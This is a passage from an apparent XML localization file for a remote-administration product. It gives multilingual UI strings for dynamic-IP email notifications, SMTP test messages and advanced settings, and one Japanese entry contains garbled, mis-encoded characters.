<fr>Support IP Dynamique</fr>
<it>Supporto IP dinamico</it>
<ru>Поддержка динамической IP-адресации</ru>
<ja>動的 IP のサポート</ja>
<zh>动态 IP 支持</zh>
<ko>동적 IP 지원</ko>
<en-gb>Dynamic IP Support</en-gb>
<hu>Dinamikus IP támogatás</hu>
<pt-br>Suporte de IP dinâmico</pt-br>
<nl>Ondersteuning voor dynamische IP-adressen</nl>
</msg>
<msg name="RCPT">
<en>Email recipient</en>
<de>Email Empfänger</de>
<es>Destinatario de correo electrónico</es>
<fr>Adresse email du destinataire</fr>
<it>Destinatario e-mail</it>
<ru>Получатель электронной почты</ru>
<ja>電子メール受信者</ja>
<zh>电子邮件收件人</zh>
<ko>전자 메일 수신인</ko>
<en-gb>E-mail recipient</en-gb>
<hu>E-mail címzett</hu>
<pt-br>Destinatário de email</pt-br>
<nl>E-mailadres van geadresseerde</nl>
</msg>
<msg name="INTERVAL">
<en>Check every</en>
<de>Überprüfen alle</de>
<es>Verificar cada</es>
<fr>Contrôler tous les</fr>
<it>Controlla ogni</it>
<ru>Проверять каждые</ru>
<ja>すべてを確認する</ja>
<zh>检查间隔</zh>
<ko>검사 간격</ko>
<en-gb>Check every</en-gb>
<hu>Ellenőrizze minden</hu>
<pt-br>Verificar a cada</pt-br>
<nl>Controleren elke</nl>
</msg>
<msg name="NOTE">
<en>%PRODUCTNAME can send you an email message pointing to the IP address
of your remote host every time it detects a change. Use this if your
host has a dynamic IP address. Leave the recipient field blank if you
don't want to use this feature.</en>
<de>%PRODUCTNAME kann Sie per Email benachrichtigen, wenn die Zuweisung der
dynamischen IP-Adresse des Computers geändert wurde, auf dem %PRODUCTNAME
installiert ist. Mit dieser Emailnachricht wird Ihnen die neue IP-Adresse
übermittelt.</de>
<es>%PRODUCTNAME puede enviarle un mensaje por correo electrónico con la dirección IP
de su host remoto cada vez que se detecte un cambio. Utilice esta función si su
host tiene una dirección IP dinámica. Deje el campo de destinatario en blanco si
no desea utilizar esta función.</es>
<fr>%PRODUCTNAME peut vous envoyer un message email contenant l'adresse IP de votre hôte distant
à chaque fois qu'il détecte un changement d'adresse IP. Utilisez
cette fonction si votre hôte distant possède une adresse IP dynamique.
Laissez vide le champ destinataire si vous ne voulez pas utiliser cette fonction.</fr>
<it>Ogni volta che viene rilevata una modifica, %PRODUCTNAME può inviare un messaggio e-mail all'indirizzo IP dell'host remoto. Utilizzare questa opzione se l'host dispone di un indirizzo IP dinamico. Lasciare vuoto il campo del destinatario se non si desidera utilizzare questa funzione.</it>
<ru>При обнаружении изменения %PRODUCTNAME может отправить пользователю сообщение по электронной почте с IP-адресом удаленного хост-компьютера. Используйте эту возможность, если хост-компьютер имеет динамический IP-адрес. Оставьте поле получателя пустым, если не предполагается использовать данную возможность.</ru>
<ja>%PRODUCTNAME には、変更を検出したときは常に、リモート ホストの IP アドレスを指摘する電子メール メッセージを送信する機能があります。ホストが動的 IP アドレスを持つ場合は、この機能を使用してください。この機能を使用しない場合は、受信者 フィールドを空欄のままにします。</ja>
<zh>每当检测到更改时,%PRODUCTNAME 都可以向您发送指向远程主机 IP 地址的电子邮件消息。如果您的主机有动态 IP 地址,请使用此功能。如果不想使用此功能,请将收件人字段留空。</zh>
<ko>%PRODUCTNAME은(는) 변경 사항을 발견할 때마다 사용자에게 원격 호스트의 IP 주소로 전자 메일 메시지를 보낼 수 있습니다. 호스트가 동적 IP 주소를 가지고 있을 경우 사용합니다. 이 기능을 사용하지 않으려면 수신인 필드를 비워 두십시오.</ko>
<en-gb>%PRODUCTNAME can send you an e-mail message pointing to the IP address of your remote host every time it detects a change. Use this if your host has a dynamic IP address. Leave the recipient field blank if you don't want to use this feature.</en-gb>
<hu>A %PRODUCTNAME, ha változást észlelt, e-mail üzenetet küldhet Önnek, amely a távoli gazdagép IP
címére mutat. Használja ezt, ha a 
gazdagép dinamikus IP címmel rendelkezik. Hagyja üresen a címzett mezőt, ha
nem kívánja használni ezt a funkciót.</hu>
<pt-br>O %PRODUCTNAME pode enviar a você uma mensagem apontando o endereço IP
do seu host remoto sempre que ele detectar uma alteração. Use-a se seu 
host tiver um endereço IP dinâmico. Deixe o campo de destinatário em branco se
não desejar usar este recurso.</pt-br>
<nl>%PRODUCTNAME kan naar u een e-mailbericht verzenden met vermelding van het IP-adres van uw externe hostcomputer telkens wanneer een wijziging wordt gedetecteerd. Gebruik deze optie als uw hostcomputer een dynamisch IP-adres heeft. Vul niets in het veld voor de geadresseerde in als u deze functie niet wilt gebruiken.</nl>
</msg>
<msg name="NOSMTP">
<en>You must configure the SMTP settings for this feature to work.</en>
<de>Anmerkung: Sie müssen die SMTP Einstellungen konfigurieren, damit dieses Feature funktioniert.</de>
<es>Debe configurar que la configuración SMTP para esta función funcione correctamente.</es>
<fr>Vous devez configurer les paramètres SMTP pour que cette fonction marche correctement.</fr>
<it>Questa funzione richiede la configurazione delle impostazioni SMTP.</it>
<ru>Для работы этой функции требуется настройка параметров протокола SMTP.</ru>
<ja>この機能を使用するには、SMTP 設定を構成する必要があります。</ja>
<zh>您必须配置 SMTP 设置以使此功能生效。</zh>
<ko>이 기능이 작동하려면 SMTP 설정을 구성해야 합니다.</ko>
<en-gb>You must configure the SMTP settings for this feature to work.</en-gb>
<hu>Konfigurálnia kell az SMTP beállításokat, hogy ez a funkció működőképes legyen.</hu>
<pt-br>É necessário definir as configurações de SMTP para que este recurso funcione.</pt-br>
<nl>Als u deze functie wilt gebruiken, moet u de SMTP-instellingen eerst configureren.</nl>
</msg>
<msg name="MAILSUBJ">
<en>%PRODUCTNAME Dynamic IP</en>
<de>%PRODUCTNAME Dynamic IP</de>
<es>IP dinámica de %PRODUCTNAME</es>
<fr>IP Dynamique de %PRODUCTNAME</fr>
<it>IP dinamico di %PRODUCTNAME</it>
<ru>Динамический IP-адрес %PRODUCTNAME</ru>
<ja>%PRODUCTNAME の動的 IP</ja>
<zh>%PRODUCTNAME 动态 IP</zh>
<ko>%PRODUCTNAME 동적 IP</ko>
<en-gb>%PRODUCTNAME Dynamic IP</en-gb>
<hu>%PRODUCTNAME dinamikus IP</hu>
<pt-br>IP dinâmico do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Dynamisch IP-adres</nl>
</msg>
<msg name="MAILBODY">
<en>%PRODUCTNAME detected a change in the IP address of computer %SRVNAME. The new
external IP address is %SRVADDR. You should be able to access %SRVNAME
via the following URL: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
If your router was configured to map a router port to %SRVNAME you will
be able to access it via the URL %SRVPROTO://%SRVADDR:[PORT_NUMBER] where
[PORT_NUMBER] is the mapped router port.\r\n
\r\n</en>
<de>%PRODUCTNAME hat eine Veränderung der IP-Adresse des Computers %SRVNAME festgestellt.
Die neue externe IP-Adresse ist %SRVADDR. Sie sollten in der Lage sein, auf %SRVNAME 
über die folgende  URL zuzugreifen: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Falls Ihr Router dafür konfiguriert war, einen Router Port auf %SRVNAME zu binden,
dann sollten Sie in der Lage sein über die URL : %SRVPROTO://%SRVADDR:[PORT_NUMBER]
zuzugreifen, während [PORT_NUMBER] der daran gebundene Router Port ist.\r\n
\r\n</de>
<es>%PRODUCTNAME detectó un cambio en la dirección IP del ordenador %SRVNAME. La nueva
dirección IP externa es %SRVADDR. Debe ser capaz de acceder a %SRVNAME
a través de la siguiente URL: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Si su router fue configurado para mapear un puerto de router a %SRVNAME, podrá
acceder a través de la URL %SRVPROTO://%SRVADDR:[PORT_NUMBER] donde
[PORT_NUMBER] es el puerto del router mapeado.\r\n
\r\n</es>
<fr>%PRODUCTNAME a détecté un changement d'adresse IP de l'ordinateur %SRVNAME. Sa nouvelle
adresse IP  est %SRVADDR. Vous devriez pouvoir accéder à %SRVNAME
grâce au lien URL suivant: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Si votre routeur est configuré pour rediriger un port sur %SRVNAME pour devriez pourvoir y
accèder grâce au lien URL suivant : %SRVPROTO://%SRVADDR:[PORT_NUMBER] où
[PORT_NUMBER] est le port redirigé par votre routeur.\r\n
\r\n</fr>
<it>%PRODUCTNAME ha rilevato una modifica nell'indirizzo IP del computer %SRVNAME. Il nuovo indirizzo IP esterno è %SRVADDR. L'accesso a %SRVNAME dovrebbe essere possibile mediante il seguente URL: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Se il router è stato configurato per il mapping di una porta del router a %SRVNAME, sarà possibile accedervi mediante l'URL %SRVPROTO://%SRVADDR:[NUMERO_PORTA] dove
[NUMERO_PORTA] è la porta del router mappata.\r\n
\r\n</it>
<ru>%PRODUCTNAME обнаружил изменение IP-адреса компьютера %SRVNAME. Новый внешний IP-адрес - %SRVADDR. Компьютер %SRVNAME должен быть доступен по следующему URL-адресу: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Если маршрутизатор был настроен на сопоставление порта маршрутизатора с компьютером %SRVNAME, то он будет доступен по URL-адресу %SRVPROTO://%SRVADDR:[PORT_NUMBER], где[PORT_NUMBER] - сопоставленный порт маршрутизатора.\r\n
\r\n</ru>
<ja>%PRODUCTNAME は、コンピュータ %SRVNAME の IP アドレスに変更を検出しました。V‚µ‚¢ŠO•” IP ƒAƒhƒŒƒX‚Í %SRVADDR ‚Å‚·B ŽŸ‚Ì URL ‚É‚æ‚èA%SRVNAME ‚ɃAƒNƒZƒX‚Å‚«‚Ü‚·B %SRVPROTO://%SRVADDR:%SRVPORT\r\n \r\n ƒ‹[ƒ^‚ª %SRVNAME ‚ւ̃‹[ƒ^[ ƒ|[ƒg‚ðƒ}ƒbƒsƒ“ƒO‚·‚邿‚¤Ý’肳‚ê‚Ä‚¢‚éê‡‚́A[PORT_NUMBER] ‚ªƒ‹[ƒ^[ ƒ|[ƒg‚ƂȂÁ‚Ä‚¢‚é URL %SRVPROTO://%SRVADDR:[PORT_NUMBER] ‚É‚æ‚èƒAƒNƒZƒX‚Å‚«‚Ü‚·B \r\n</ja>
<zh>%PRODUCTNAME 检测到计算机 %SRVNAME 的 IP 地址发生更改。新的外部 IP 地址为 %SRVADDR。您可以通过以下 URL 访问 %SRVNAME:%SRVPROTO://%SRVADDR:%SRVPORT\r\n \r\n 如果您的路由器已配置为将路由器端口映射至 %SRVNAME,则您可以通过 URL %SRVPROTO://%SRVADDR:[PORT_NUMBER] 访问 %SRVNAME,其中 [PORT_NUMBER] 为映射的路由器端口。\r\n \r\n</zh>
<ko>%PRODUCTNAME이(가) %SRVNAME 컴퓨터의 IP 주소가 변경되었음을 발견했습니다. 새 외부 IP 주소는 %SRVADDR입니다. 다음 URL을 통해 %SRVNAME에 액세스해야 합니다: %SRVPROTO://%SRVADDR:%SRVPORT\r\n\r\n 라우터 포트를 %SRVNAME에 매핑하도록 라우터가 구성된 경우 URL %SRVPROTO://%SRVADDR:[PORT_NUMBER]를 통해 액세스할 수 있습니다. 이 때 [PORT_NUMBER]는 매핑된 라우터 포트입니다.\r\n\r\n</ko>
<en-gb>%PRODUCTNAME detected a change in the IP address of computer %SRVNAME. The new  external IP address is %SRVADDR. You should be able to access %SRVNAME  via the following URL: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
If your router was configured to map a router port to %SRVNAME you will be able to access it via the URL %SRVPROTO://%SRVADDR:[PORT_NUMBER] where [PORT_NUMBER] is the mapped router port.\r\n
\r\n</en-gb>
<hu>A %PRODUCTNAME változást észlelt az Ön %SRVNAME számítógépének IP címében. Az új
külső IP cím a következő: %SRVADDR. A %SRVNAME elérése a következő
URL-lel történhet: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Ha az útválasztó olyan módon van konfigurálva, hogy leképezzen egy útválasztó portot a %SRVNAME névre, akkor 
fogja tudni érni azt a következő URL címen: %SRVPROTO://%SRVADDR:[PORT_NUMBER] ahol a
[PORT_NUMBER] a leképezett útválasztó port.\r\n
\r\n</hu>
<pt-br>O %PRODUCTNAME detectou uma alteração no endereço IP do computador %SRVNAME. O novo
endereço IP externo é %SRVADDR. Você deve conseguir acessar o %SRVNAME
com a seguinte URL: %SRVPROTO://%SRVADDR:%SRVPORT\r\n
\r\n
Se seu roteador tiver sido configurado para mapear uma porta de roteador para o %SRVNAME, você
conseguirá acessá-lo via a URL %SRVPROTO://%SRVADDR:[PORT_NUMBER] onde
[PORT_NUMBER] é a porta do roteador mapeado.\r\n
\r\n</pt-br>
<nl>%PRODUCTNAME heeft een wijziging van het IP-adres voor computer %SRVNAME gedetecteerd. Het nieuwe IP-adres van de externe computer is %SRVADDR. U kunt toegang krijgen tot %SRVNAME  via het volgende URL-adres: %SRVPROTO://%SRVADDR:%SRVPORT\r\n  \r\n  Als uw router is geconfigureerd om een routerpoort toe te wijzen aan %SRVNAME, kunt u hiervoor toegang krijgen via het URL-adres %SRVPROTO://%SRVADDR:[PORT_NUMBER] waarbij [PORT_NUMBER] het nummer van de toegewezen routerpoort is.\r\n  \r\n</nl>
</msg>
<cat name="TEST">
<msg name="RCPT">
<en>Test email recipient</en>
<de>Email Empfänger</de>
<es>Probar destinatario de correo electrónico</es>
<fr>Test de l'email du destinataire</fr>
<it>Test del destinatario e-mail</it>
<ru>Протестировать получателя электронной почты</ru>
<ja>テスト電子メールの受信者</ja>
<zh>测试电子邮件收件人</zh>
<ko>테스트 전자 메일 수신인</ko>
<en-gb>Test e-mail recipient</en-gb>
<hu>E-mail címzett tesztelése</hu>
<pt-br>Determine o destinatário do email</pt-br>
<nl>E-mailadres van geadresseerde testen</nl>
</msg>
<msg name="SEND">
<en>Send test message</en>
<de>Testnachricht senden</de>
<es>Enviar mensaje de prueba</es>
<fr>Envoi d'un message de test</fr>
<it>Invia messaggio di test</it>
<ru>Отправить тестовое сообщение</ru>
<ja>テスト メッセージを送信</ja>
<zh>发送测试消息</zh>
<ko>테스트 메시지 보내기</ko>
<en-gb>Send test message</en-gb>
<hu>Tesztüzenet küldése</hu>
<pt-br>Enviar mensagem de texto</pt-br>
<nl>Testbericht verzenden</nl>
</msg>
<msg name="SUCC">
<en>A test message has been sent to the email address you specified.
Check your email to see if it went through.</en>
<de>Eine Testnachricht wurde an die angegebene Emailadresse versandt.</de>
<es>Se ha enviado un mensaje de prueba a la dirección de correo electrónico especificada.
Compruebe su correo electrónico para saber si ha llegado.</es>
<fr>Un message de test a été envoyé à l'adresse email que vous avez spécifiée.
Vérifiez votre boîte de réception d'emails pour voir si vous l'avez bien reçu.</fr>
<it>È stato inviato un messaggio di test all'indirizzo e-mail specificato.
Controllare l'e-mail per verificare la ricezione del messaggio.</it>
<ru>Тестовое сообщение отправлено по указанному адресу электронной почты.
Проверьте свою электронную почту, чтобы проверить прохождение сообщение.</ru>
<ja>テスト メッセージは、指定した電子メール アドレスに送信されました。送信が完了しているかどうかは、電子メールを確認してください。</ja>
<zh>测试消息已发送至您指定的电子邮件地址。查看您的电子邮件以确认是否已收到。</zh>
<ko>지정된 전자 메일 주소로 테스트 메시지를 보냈습니다. 전자 메일이 잘 도착했는지 확인하십시오.</ko>
<en-gb>A test message has been sent to the e-mail address you specified.
Check your e-mail to see if it went through.</en-gb>
<hu>A program egy tesztüzenetet küldött az Ön által megadott e-mail címre.
Ellenőrizze e-mailjeit, hogy átment-e.</hu>
<pt-br>Uma mensagem de texto foi enviada ao endereço de email especificado.
Verifique seu email se desejar continuar.</pt-br>
<nl>Er is een testbericht verzonden naar het e-mailadres dat u hebt opgegeven. Controleer uw e-mailberichten om na te gaan of u het bericht hebt ontvangen.</nl>
</msg>
<msg name="FAIL">
<en>The test message could not be sent. Check the %PRODUCTNAME log file for details.</en>
<de>Die Testnachricht konnte nicht versendet werden. Prüfen Sie die %PRODUCTNAME
Logdatei für weitere Details.</de>
<es>No se ha podido enviar el mensaje de prueba. Verifique el archivo de registro de %PRODUCTNAME para obtener más detalles.</es>
<fr>Le message de test n'a pas pu être envoyé. Consultez le journal de notifications de %PRODUCTNAME pour de plus amples détails.</fr>
<it>Impossibile inviare il messaggio di test. Per informazioni visualizzare il file di registro di %PRODUCTNAME.</it>
<ru>Не удалось отправить текстовое сообщение. См. подробности в файле журнала %PRODUCTNAME.</ru>
<ja>テスト メッセージは送信できませんでした。詳細は、%PRODUCTNAME ログ ファイルを確認してください。</ja>
<zh>无法发送测试消息。有关详情,请检查 %PRODUCTNAME 日志文件。</zh>
<ko>테스트 메시지를 보낼 수 없습니다. 자세한 내용을 보려면 %PRODUCTNAME 로그 파일을 확인하십시오.</ko>
<en-gb>The test message could not be sent. Check the %PRODUCTNAME log file for details.</en-gb>
<hu>A tesztüzenetet nem sikerült elküldeni. A részleteket ellenőrizze a %PRODUCTNAME naplófájlban.</hu>
<pt-br>A mensagem de teste pode não ter sido enviada. Verifique o arquivo de log do %PRODUCTNAME para obter detalhes.</pt-br>
<nl>Het testbericht kon niet worden verzonden. Controleer het logboekbestand van %PRODUCTNAME voor meer informatie.</nl>
</msg>
<msg name="MAILSUBJ">
<en>%PRODUCTNAME Test Message</en>
<de>%PRODUCTNAME Testnachricht</de>
<es>Mensaje de prueba de %PRODUCTNAME</es>
<fr>Message Test de %PRODUCTNAME</fr>
<it>Messaggio di test di %PRODUCTNAME</it>
<ru>Тестовое сообщение %PRODUCTNAME</ru>
<ja>%PRODUCTNAME テスト メッセージ</ja>
<zh>%PRODUCTNAME 测试消息</zh>
<ko>%PRODUCTNAME 테스트 메시지</ko>
<en-gb>%PRODUCTNAME Test Message</en-gb>
<hu>%PRODUCTNAME tesztüzenet</hu>
<pt-br>Mensagem de texto do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME - Testbericht</nl>
</msg>
<msg name="MAILBODY">
<en>\r\n
This is an automatically generated test message to verify your SMTP settings.\r\n
If you received this, then your settings are correct.\r\n
\r\n</en>
<de>\r\n
Das ist eine automatisch generierte Testnachricht, um die SMTP Einstellungen zu testen.\r\n
Wenn Sie diese Nachricht erhalten, so sind die Einstellungen korrekt.\r\n
\r\n</de>
<es>\r\n
Éste es un mensaje de prueba generado automáticamente para comprobar su configuración SMTP.\r\n
Si lo ha recibido, su configuración es correcta.\r\n
\r\n</es>
<fr>\r\n
Ceci est un message de test généré automatiquement pour vérifier vos paramètres SMTP\r\n
Si vous recevez ce message, cela signifie que vos paramètres sont corrects \r\n
\r\n</fr>
<it>\r\n
Questo è un messaggio di test generato automaticamente per verificare le impostazioni SMTP in uso.\r\n
Se il messaggio è stato ricevuto, le impostazioni sono corrette.\r\n
\r\n</it>
<ru>\r\n
Это автоматически созданное тестовое сообщение, предназначенное для проверки настроек SMTP.\r\n
Получение этого сообщения указывает на правильность настроек.\r\n
\r\n</ru>
<ja>\r\n これは、SMTP 設定を検証するために自動生成されたテスト メッセージです。\r\n これを受信すれば、設定が正しいということになります。\r\n \r\n</ja>
<zh>\r\n此为自动生成的测试消息,用于验证您的 SMTP 设置。\r\n 如果收到此消息,则表示您的设置正确。\r\n \r\n</zh>
<ko>\r\nSMTP 설정을 확인하기 위해 자동으로 생성되는 테스트 메시지입니다.\r\n이 메시지가 수신되면 사용자의 설정은 올바른 것입니다.\r\n\r\n</ko>
<en-gb>\r\n
This is an automatically generated test message to verify your SMTP settings.\r\n
If you received this, your settings are correct.\r\n
\r\n</en-gb>
<hu>\r\n
Ez egy automatikusan létrehozott tesztüzenet az Ön SMTP beállításainak ellenőrzésére.\r\n
Ha megkapta ezt, akkor a beállítások helyesek.\r\n
\r\n</hu>
<pt-br>\r\n
Esta é uma mensagem de texto gerada automaticamente para verificar suas configurações de SMTP.\r\n
Se você tiver recebido esta mensagem, suas configurações estão corretas.\r\n
\r\n</pt-br>
<nl>\r\n Dit is een automatisch gegenereerd testbericht om uw SMTP-instellingen te controleren.\r\n Als u dit bericht hebt ontvangen, zijn uw instellingen correct.\r\n \r\n</nl>
</msg>
</cat>
</cat>
<!-- CONFIG.ADVANCED -->
<cat name="ADVANCED">
<msg name="TITLE">
<en>Advanced Options</en>
<es>Opciones avanzadas</es>
<fr>Options Avancées</fr>
<de>Erweiterte Optionen</de>
<it>Opzioni avanzate</it>
<ru>Дополнительные параметры</ru>
<ja>詳細オプション</ja>
<zh>高级选项</zh>
<ko>고급 옵션</ko>
<en-gb>Advanced Options</en-gb>
<hu>Speciális lehetőségek</hu>
<pt-br>Opções avançadas</pt-br>
<nl>Geavanceerde opties</nl>
</msg>
<msg brand="LMI" name="TITLE">
<en>Advanced Settings</en>
<es>Configuración avanzada</es>
<fr>Paramètres avancés</fr>
<de>Erweiterte Einstellungen</de>
<it>Impostazioni avanzate</it>
<ru>Дополнительные настройки</ru>
<ja>詳細設定</ja>
<zh>高级设置</zh>
<ko>고급 설정</ko>
<en-gb>Advanced Settings</en-gb>
<hu>Speciális beállítások</hu>
<pt-br>Configurações avançadas</pt-br>
<nl>Geavanceerde Instellingen</nl>
</msg>
<msg name="DESC">
<en>View and modify advanced options that control the behavior of %PRODUCTNAME.</en>
<es>Ver y modificar las opciones avanzadas que controlan el comportamiento de %PRODUCTNAME.</es>
<fr>Voir et modifier les options avancées qui déterminent le comportement de %PRODUCTNAME.</fr>
<de>Erweiterte Optionen anzeigen und ändern, die das Verhalten von %PRODUCTNAME steuern.</de>
<it>Consente di visualizzare e modificare le opzioni avanzate che controllano il funzionamento di %PRODUCTNAME.</it>
<ru>Просмотреть и изменить дополнительные параметры, управляющие поведением приложения %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME のビヘイビアを制御する詳細オプションを表示および変更します。</ja>
<zh>查看和修改控制 %PRODUCTNAME 行为的高级选项。</zh>
<ko>%PRODUCTNAME의 동작을 제어하는 고급 옵션을 보고 수정합니다.</ko>
<en-gb>View and modify advanced options that control the behaviour of %PRODUCTNAME.</en-gb>
<hu>A %PRODUCTNAME viselkedésének vezérlésére szolgáló speciális lehetőségek megtekintése és módosítása.</hu>
<pt-br>Exiba e modifique opções avançadas que controlem o comportamento do %PRODUCTNAME.</pt-br>
<nl>De geavanceerde opties weergeven en wijzigen waarmee u de werking van %PRODUCTNAME kunt bepalen.</nl>
</msg>
<msg name="DISABLEHTML">
<en>Disable HTML-based remote control</en>
<es>Deshabilitar el control remoto basado en HTML</es>
<fr>Désactiver le contrôle à distance basé sur HTML</fr>
<de>HTML-basierte Remotesteuerung deaktivieren</de>
<it>Disattiva controllo remoto basato su HTML</it>
<ru>Отключить удаленное управление на основе HTML</ru>
<ja>HTML ベースのリモート制御を無効にする</ja>
<zh>禁用基于 HTML 的远程控制</zh>
<ko>HTML 기반 원격 제어 사용 안 함</ko>
<en-gb>Disable HTML-based remote control</en-gb>
<hu>A HTML alapú távvezérlés kikapcsolása</hu>
<pt-br>Desabilite o controle remoto baseado em HTML</pt-br>
<nl>Op HTML gebaseerde besturing op afstand uitschakelen</nl>
</msg>
<msg name="USERWARNINGNOCLOSE">
<en>Remote Control notification window cannot be closed</en>
<es>No se puede cerrar la ventana de notificación de Control Remoto</es>
<fr>La fenêtre d'information du contrôle à distance ne peut pas être fermée</fr>
<de>Benachrichtigungsfenster für die Remotesteuerung kann nicht geschlossen werden</de>
<it>Impossibile chiudere la finestra di notifica di Controllo remoto</it>
<ru>Не удается закрыть окно уведомления об удаленном управлении</ru>
<ja>リモート制御の通知ウィンドウを閉じることができません。</ja>
<zh>无法关闭远程控制通知窗口</zh>
<ko>원격 제어 알림 창을 닫을 수 없습니다</ko>
<en-gb>Remote Control notification window cannot be closed</en-gb>
<hu>A Távvezérlés értesítési ablaka nem zárható be</hu>
<pt-br>A janela de notificação do controle remoto não pode ser fechada</pt-br>
<nl>Venster van melding voor besturing op afstand kan niet worden gesloten</nl>
</msg>
<msg name="FORCEBITMAPPRINTING">
<en>Force Bitmap printing</en>
<es>Forzar la impresión de mapa de bits</es>
<fr>Forcer l'impression Bitmap</fr>
<de>Bitmapdruck erzwingen</de>
<it>Forza stampa bitmap</it>
<ru>Принудительно использовать печать точечных рисунков</ru>
<ja>ビットマップ印刷を強制する</ja>
<zh>强制位图打印</zh>
<ko>비트맵 강제 인쇄</ko>
<en-gb>Force Bitmap printing</en-gb>
<hu>Bittérképes nyomtatás kényszerítése</hu>
<pt-br>Forçar impressão de bitmap</pt-br>
<nl>Afdrukken van bitmaps forceren</nl>
</msg>
<msg name="DEBUGLOG">
<en>Enable debug-level logging</en>
<es>Habilitar inicio de sesión de nivel de depuración</es>
<fr>Activer le log de debug</fr>
<de>Protokollierung auf Debugebene aktivieren</de>
<it>Attiva registrazione a livello di debug</it>
<ru>Включить ведение журнала на уровне отладки</ru>
<ja>デバッグ レベルのログを有効にする</ja>
<zh>启用调试级别日志</zh>
<ko>디버그 레벨 로깅 사용</ko>
<en-gb>Enable debug-level logging</en-gb>
<hu>Hibakeresési szintű naplózás bekapcsolása</hu>
<pt-br>Habilitar registro no nível de depuração</pt-br>
<nl>Registratie in logboek met debugging-functies inschakelen</nl>
</msg>
<msg name="DISCONNECTEXISTING">
<en>Disconnect existing remote control session from the same user</en>
<es>Desconectar sesión de control remoto existente del mismo usuario</es>
<fr>Déconnecter la session existante du contrôle à distance du même utilisateur</fr>
<de>Vorhandene Remotesteuerungssitzung mit demselben Benutzer trennen</de>
<it>Disconnetti sessione di controllo remoto esistente dallo stesso utente</it>
<ru>Отключите существующий сеанс удаленного управления от того же пользователя</ru>
<ja>同一ユーザと既存のリモート制御セッションとの接続を切断する</ja>
<zh>断开同一用户的现有远程控制会话</zh>
<ko>동일한 사용자의 기존 원격 제어 세션 연결 해제</ko>
<en-gb>Disconnect existing remote control session from the same user</en-gb>
<hu>Ugyanazon felhasználó meglévő távvezérlési munkameneteinek szétcsatlakoztatása</hu>
<pt-br>Desconectar a sessão do controle remoto existente do mesmo usuário</pt-br>
<nl>Verbinding verbreken als sessie voor besturing op afstand met dezelfde gebruiker reeds bestaat</nl>
</msg>
<msg name="NOHTTPCOMPR">
<en>Disable HTTP content compression</en>
<es>Deshabilitar la compresión de contenido HTTP</es>
<fr>Désactiver la compression de contenu HTTP</fr>
<de>Komprimierung von HTTP-Inhalten deaktivieren</de>
<it>Disattiva compressione contenuto HTTP</it>
<ru>Отключите сжатие содержимого HTTP</ru>
<ja>HTTP コンテンツの圧縮を無効にする</ja>
<zh>禁用 HTTP 内容压缩</zh>
<ko>HTTP 컨텐츠 압축 안 함</ko>
<en-gb>Disable HTTP content compression</en-gb>
<hu>HTTP tartalomtömörítés kikapcsolása</hu>
<pt-br>Desabilitar compactação do conteúdo HTTP</pt-br>
<nl>Compressie van HTTP-inhoud uitschakelen</nl>
</msg>
<msg name="NOHTTPCOMPRWAP">
<en>Disable HTTP content compression over WAP</en>
<es>Deshabilitar la compresión de contenido HTTP sobre WAP</es>
<fr>Désactiver la compression de contenu HTTP sur WAP</fr>
<de>Komprimierung von HTTP-Inhalten über WAP deaktivieren</de>
<it>Disattiva compressione contenuto HTTP su WAP</it>
<ru>Отключите сжатие содержимого HTTP при передаче по WAP</ru>
<ja>WAP 上での HTTP コンテンツ圧縮を無効する</ja>
<zh>禁用通过 WAP 进行 HTTP 内容压缩</zh>
<ko>WAP을 통한 HTTP 컨텐츠 압축 안 함</ko>
<en-gb>Disable HTTP content compression over WAP</en-gb>
<hu>WAP HTTP tartalomtömörítés kikapcsolása</hu>
<pt-br>Desabilitar a compactação do conteúdo http em WAP</pt-br>
<nl>Compressie van HTTP-inhoud via WAP uitschakelen</nl>
</msg>
<msg name="PROTOCOLVER">
<en>TLS Protocol Version (note: incorrectly disabling protocol versions may render RemotelyAnywhere unreachable)</en>
<es>Versión del protocolo TLS (nota: si se deshabilitan de forma incorrecta las versiones del protocolo, es posible que no se pueda establecer conexión con RemotelyAnywhere)</es>
<fr>Version Protocole TLS (remarque : désactiver les versions de protocole de manière incorrecte peut rendre RemotelyAnywhere injoignable)</fr>
<de>Version des TLS-Protokolls (Achtung: Wenn Protokollversionen inkorrekt deaktiviert werden, ist RemotelyAnywhere unter Umständen nicht mehr erreichbar.)</de>
<it>Versione del protocollo TLS (nota: l'errata disattivazione delle versioni del protocollo può rendere RemotelyAnywhere irraggiungibile)</it>
<ru>Версия протокола TLS (примечание: некорректное отключение версий протокола может привести к недоступности RemotelyAnywhere)</ru>
<ja>TLS のプロトコル バージョン (注意: 誤ったプロトコル バージョンを無効にすると、RemotelyAnywhere が接続できなくなる可能性があります)</ja>
<zh>TLS 协议版本(注意:错误禁用协议版本可能导致 RemotelyAnywhere 无法访问)</zh>
<ko>TLS 프로토콜 버전(참고: 프로토콜 버전을 잘못 비활성화하면 RemotelyAnywhere에 접속할 수 없게 됩니다)</ko>
<en-gb>TLS Protocol Version (note: incorrectly disabling protocol versions may render RemotelyAnywhere unreachable)</en-gb>
<hu>A TLS-protokoll verziószáma (megjegyzés: a protokollverziók helytelen letiltása elérhetetlenné teheti a RemotelyAnywhere szolgáltatást)</hu>
<pt-br>Versão do protocolo TLS (observação: desabilitar incorretamente versões do protocolo pode fazer com o que RemotelyAnywhere fique inacessível)</pt-br>
<nl>TLS Protocol-versie (opmerking: als u protocolversies onjuist uitschakelt, kan RemotelyAnywhere mogelijk niet meer worden bereikt)</nl>
</msg>
<msg name="CUSTOMMSG">
<en>Customized Login Message</en>
<es>Mensaje de inicio de sesión personalizado</es>
<fr>Personnaliser le message d'ouverture de session</fr>
<de>Benutzerdefinierte Anmeldungsnachricht</de>
<it>Messaggio di accesso personalizzato</it>
<ru>Настроенное сообщение при входе в систему</ru>
<ja>カスタマイズされたログイン メッセージ</ja>
<zh>自定义的登录消息</zh>
<ko>사용자 지정된 로그인 메시지</ko>
<en-gb>Customised Login Message</en-gb>
<hu>Testreszabott bejelentkezési üzenet</hu>
